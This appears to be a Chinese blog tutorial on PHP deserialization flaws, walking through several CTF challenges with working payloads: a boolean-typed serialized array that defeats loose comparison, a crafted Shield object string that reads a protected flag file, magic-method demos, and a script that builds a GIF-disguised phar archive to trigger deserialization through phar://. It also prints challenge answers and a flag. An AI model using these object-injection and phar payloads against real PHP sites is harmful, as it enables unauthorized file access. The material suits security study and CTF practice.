补充了一些内容
把复杂的数据类型压缩到一个字符串中
serialize() 把变量和它们的值编码成文本形式
unserialize() 恢复原先变量
反序列化漏洞
unserialize() 的参数可控时,通过传入一个特意构造好的的序列化字符串,从而控制对象内部的变量甚至是函数以进行非法操作。
序列化和反序列化demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class Point { public $x = 1; public $y = 2; public function show() { echo ('point is ('.$this->x.','.$this->y.')'."<br>"); } } $a = array(); $a['id'] = '1'; $a['name'] = 'user'; $a['pwd'] = '123'; var_dump($a); echo ("<br>"); $b = serialize($a); var_dump($b); $c = unserialize($b); echo ('<br>'); var_dump($c); $p1 = @new Point(); echo ('<br>'); $p1->show(); echo @serialize(p1); ?>
|
运行结果:
1 2 3 4 5
| array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" } string(65) "a:3:{s:2:"id";s:1:"1";s:4:"name";s:4:"user";s:3:"pwd";s:3:"123";}" array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" } point is (1,2) s:2:"p1";
|
0x01. 利用普通变量或方法
貌似实验吧有一题
view-source有如下提示
试了个开头为0的md5,s878926199a
得到/user.php?fame=hjkleffifer
打开是这样
所以说,得先把password序列化再输入,而且要求数组里的user和pass都等于’???‘,因为‘==’是比较运算符号,不会检查条件式的表达式的类型。
根据提示’成也布尔,败也布尔‘,布尔类型的true跟任意字符串在‘==’下成立,就可以构造bool型序列化的password。
经查阅 序列化中 i代表int,a代表array,s代表string,b代表bool,数字代表个数/长度
例子:
1 2 3 4 5 6
| $test = array("a"=>0,"b"=>0,"c"=>0); $test2 = ''; $test2=serialize($test); echo $test2; //类似a:3:{s:1:"a";i:0;s:1:"b";i:0;s:1:"c";i:0;}
print_r(unserialize($test2));
|
构造passworda:2:{s:4:"user";b:1;s:4:"pass";b:1;}
注意{}
前面写参数个数
jarvis oj 一题
题目入口:http://web.jarvisoj.com:32768/
初始页面是个图片
查看源码:
1
| <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
|
c2hpZWxkLmpwZw==经base64解码是shield.jpg
利用这点查看index.php和showimg.php的源码
index.php:
1 2 3 4 5 6 7 8 9 10
| <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
|
showimg.php:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
|
index.php里发现shield.php,也看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
|
注意到//flag is in pctf.php
但showimg.php里对pctf有过滤
index.php中,可以接收一个class的参数 , 通过这个参数反序列化来创建一个shield对象 , 然后再调用这个shield对象的readfile方法
即这段:
1 2 3 4 5 6
| $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile();
|
shield.php里有个readfile函数,使用的是对象里的file参数
即这段代码:
1 2 3 4 5
| function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); }
|
所以构造一个经反序列化后,file=’pctf.php’的参数
即构造class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
flag
0x02. PHP: Magic function
除利用普通变量或方法外还可以利用Magic function(魔术方法)进行反序列化攻击,有关魔术方法:http://php.net/manual/zh/language.oop5.magic.php
__construct()
:当对象创建(new)时会自动调用,注意在
unserialize()时并不会自动调用
__destruct()
:对象被销毁时会自动调用
__sleep()
: serialize()时会先被调用
__wakeup()
:unserialize()时会先被调用
其他
1 2 3 4 5 6 7 8 9 10 11 12 13
| __call(),在对象中调用一个不可访问方法时调用 __callStatic(),用静态方式中调用一个不可访问方法时调用 __get(),获得一个类的成员变量时调用 __set(),设置一个类的成员变量时调用 __isset(),当对不可访问属性调用isset()或empty()时调用 __unset(),当对不可访问属性调用unset()时被调用。 __wakeup(),执行unserialize()时,先会调用这个函数 __toString(),类被当成字符串时的回应方法 __invoke(),调用函数的方式调用一个对象时的回应方法 __set_state(),调用var_export()导出类时,此静态方法会被调用。 __clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类 __debugInfo(),打印所需调试信息
|
__construct()
与__destruct()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
class demo { public $test_v1 = 'function';
function __construct() { echo $this->test_v1."<br>"; }
function __destruct() { echo $this->test_v1."<br>"; }
}
$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}'; unserialize($s); $demo2 = new demo();
?>
输出: phpinfo() function function
|
__sleep()
与__wakeup()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
class demo { public $test_v1 = 'function';
function __sleep() { echo "serialize<br>"; }
function __wakeup() { echo "unserialize<br>"; }
}
$s = serialize(new demo()); $s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}'; unserialize($s);
?>
输出: serialize unserialize
|
0x03. phar文件通过phar://伪协议进行反序列化
因为phar文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/
受影响文件系统函数 |
|
|
|
fileatime |
filectime |
file_exists |
file_get_contents |
file_put_contents |
file |
filegroup |
fopen |
fileinode |
filemtime |
fileowner |
fileperms |
is_dir |
is_executable |
is_file |
is_link |
is_readable |
is_writable |
is_writeable |
parse_ini_file |
copy |
unlink |
stat |
readfile |
假设file参数可控,传入phar://demo.phar
demo.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class demo { public $demo_v='NULL'; public function __destruct() { echo $this->demo_v."<br>"; } }
$file = 'phar://demo.phar'; file_get_contents($file);
?>
|
php脚本构造demo.phar利用以上代码的demo类输出其他字符串
payload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class demo { public $demo_v='phpinfo()'; public function __destruct() { echo $this->demo_v."<br>"; } }
$phar = new Phar("demo.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $obj = new demo(); $phar->setMetadata($obj); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
运行demo.php
Example:
先是一个文件上传,在flag.php中有以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $recieve = $_GET['filename'];
class flag{ var $file; private $flag = '****';
function __destruct(){ if ($this->file == 'phar'){ echo $this->flag; } } }
file_get_contents($recieve);
|
本地生成phar文件伪装gif,再phar伪协议触发php反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class flag{ var $file = 'phar'; } $a = serialize(new flag()); var_dump($a); $b = unserialize($a); $p = new Phar('./pp.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); rename('pp.phar', 'pp.gif') ?>
|
上传访问flag.php?filename=phar://upload_file/pp.gif
得到flag
D0g3{P_har_i3_uSef0l}
再如护网杯easy_Laravel一题也是利用phar反序列化
0x04. 参考link:
http://p0desta.com/2018/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93/
https://paper.seebug.org/680/